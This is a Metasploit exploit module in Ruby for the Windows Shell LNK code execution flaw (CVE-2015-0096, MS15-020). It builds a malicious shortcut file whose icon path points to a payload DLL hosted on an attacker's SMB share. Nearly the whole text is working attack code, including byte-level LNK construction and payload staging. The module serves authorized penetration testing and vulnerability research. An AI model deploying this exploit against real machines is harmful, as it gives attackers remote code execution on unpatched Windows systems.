|
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit:: EXE
include Msf::Exploit:: FILEFORMAT
include Msf::Exploit::Remote:: SMB ::Server::Share
attr_accessor :exploit_dll_name
def initialize(info = {})
super (update_info(info,
'Name' => 'Microsoft Windows Shell LNK Code Execution' ,
'Description' => %q{
This module exploits a vulnerability in the MS10 - 046 patch to abuse (again) the handling
of Windows Shortcut files (. LNK ) that contain an icon resource pointing to a malicious
DLL . This creates an SMB resource to provide the payload and the trigger, and generates a
LNK file which must be sent to the target. This module has been tested successfully on
Windows 2003 SP2 with MS10 - 046 installed and Windows 2008 SP2 ( 32 bits) with MS14 - 027
installed.
},
'Author' =>
[
'Michael Heerklotz' ,
'juan vazquez'
],
'License' => MSF_LICENSE ,
'References' =>
[
[ 'CVE' , '2015-0096' ],
[ 'MSB' , 'MS15-020' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process' ,
},
'Payload' =>
{
'Space' => 2048 ,
},
'Platform' => 'win' ,
'Targets' =>
[
[ 'Automatic' , { } ]
],
'DisclosureDate' => 'Mar 10 2015' ,
'DefaultTarget' => 0 ))
register_options(
[
OptString. new ( 'FILENAME' , [ true , 'The LNK file' , 'msf.lnk' ])
], self . class )
register_advanced_options(
[
OptBool. new ( 'DisablePayloadHandler' , [ false , 'Disable the handler code for the selected payload' , false ])
], self . class )
deregister_options( 'FILE_CONTENTS' , 'FILE_NAME' )
end
def smb_host
"\\\\#{srvhost}\\#{share}\\"
end
def setup
super
self .file_contents = generate_payload_dll
random_char = rand_text_alpha( 1 )
self .file_name = "#{random_char}.dll"
prefix = "#{random_char} "
random_length = 257 - smb_host.length - file_name.length - prefix.length
self .exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}"
print_status( "Payload available on #{unc}..." )
print_status( "Trigger available on #{smb_host}#{exploit_dll_name}..." )
end
def primer
lnk = generate_link( "#{smb_host}#{exploit_dll_name}" )
file_create(lnk)
print_status( 'The LNK file must be sent or shared with the target...' )
end
def generate_link(unc)
uni_unc = unc.unpack( 'C*' ).pack( 'v*' )
path = ''
path << [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack( 'C*' )
path << uni_unc
ret = [
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack( 'C*' )
idlist_data = ''
idlist_data << [0x12 + 2 ].pack( 'v' )
idlist_data << [
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack( 'C*' )
idlist_data << [0x12 + 2 ].pack( 'v' )
idlist_data << [
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack( 'C*' )
idlist_data << [path.length + 2 ].pack( 'v' )
idlist_data << path
idlist_data << [0x00].pack( 'v' )
ret << [idlist_data.length].pack( 'v' )
ret << idlist_data
ret << [rand( 4 )].pack( 'V' )
ret[0x14, 4 ] = [ '10000001000000000000000000000000' .to_i( 2 )].pack( 'N' )
ret
end
end
|